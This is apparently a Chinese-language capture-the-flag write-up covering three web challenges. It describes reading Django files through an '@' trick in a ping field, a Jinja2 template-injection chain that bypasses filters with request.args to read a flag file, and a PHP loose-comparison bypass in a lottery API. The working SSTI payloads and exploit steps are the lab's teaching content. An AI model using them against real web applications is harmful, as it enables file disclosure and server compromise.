cat
进入环境让输入域名测试baidu.com无反应
然后ping 127.0.0.1有回显
测试管道符拼接命令执行
但是回显都是Invalid URL FUZZ测试以下
发现只有@可以使用当输入@的时候会将@url编码为%40
那我尝试输入一个十六进制值让这个十六进制值大于url编码范围看看会出现什么结果(url十进制范围0-127)
出现了一些报错信息我们将这些html代码复制来看看
发现了是Django的报错界面,做到这一步,联想到前面的@字符没有被过滤,比赛的时候有个提示
这边的大体意思就是结合@可以读取内容我们去那个报错页面发现Djangod的绝对路径
django项目下一般有个settings.py文件是设置网站数据库的路径,所以我们去读取settings文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。
同样出现html报错信息我们另存为html用浏览器打开看一下
发现关键信息用@读取数据库信息
这样我们就发现了flag
Confusion1
进入环境进入regesiter模块结果返回个not found
但查看源码发现点提示
感觉是有点像SSTI模板注入的意思在里面了测试一下
{{7*7}}
确定为模板注入
先使用常规方法试试
{{''.__class__.__mro[2]__.__subclasses__()}}
不行应该是过滤了东西
{{url_for.__globals__}}
还是不行(权限不够)
那我们先看看config吧
{{config}}
The requested URL /register.php<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}> was not found on this server.
尝试request
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
有了结合信息收集到的flag路径我们将他读出来即可
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
这样我们成功拿到了flag
lottery
进入题目是一个类似于买彩票的东西我们先去注册个账号,然后发现可以buy flag,大概理解题目意思,我们要么只能在买彩票的时候让我们中大奖要么只能改变自己的余额,原题目应该使用dirsearch扫描发现git泄露然后使用Githack复原的但是攻防世界这边直接把源码给了我们
源码中关键函数在api.php中在api.php中我们注意到requests是json格式的
header('Content-Type: application/json');
我们重点来看buy函数
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
其中win_numbers中的数字是随机生成0-6的数字,然后和用户输入的数字进行比较如果达到几个相同就返回对应的奖金给他,这里可以使用php弱类型比较(当然欧皇除外),当true和一个数字或一个字母比较的时候永远返回true,在购买彩票的时候我们进行抓包
然后我们多发几次直到钱够买flag
成功购买到flag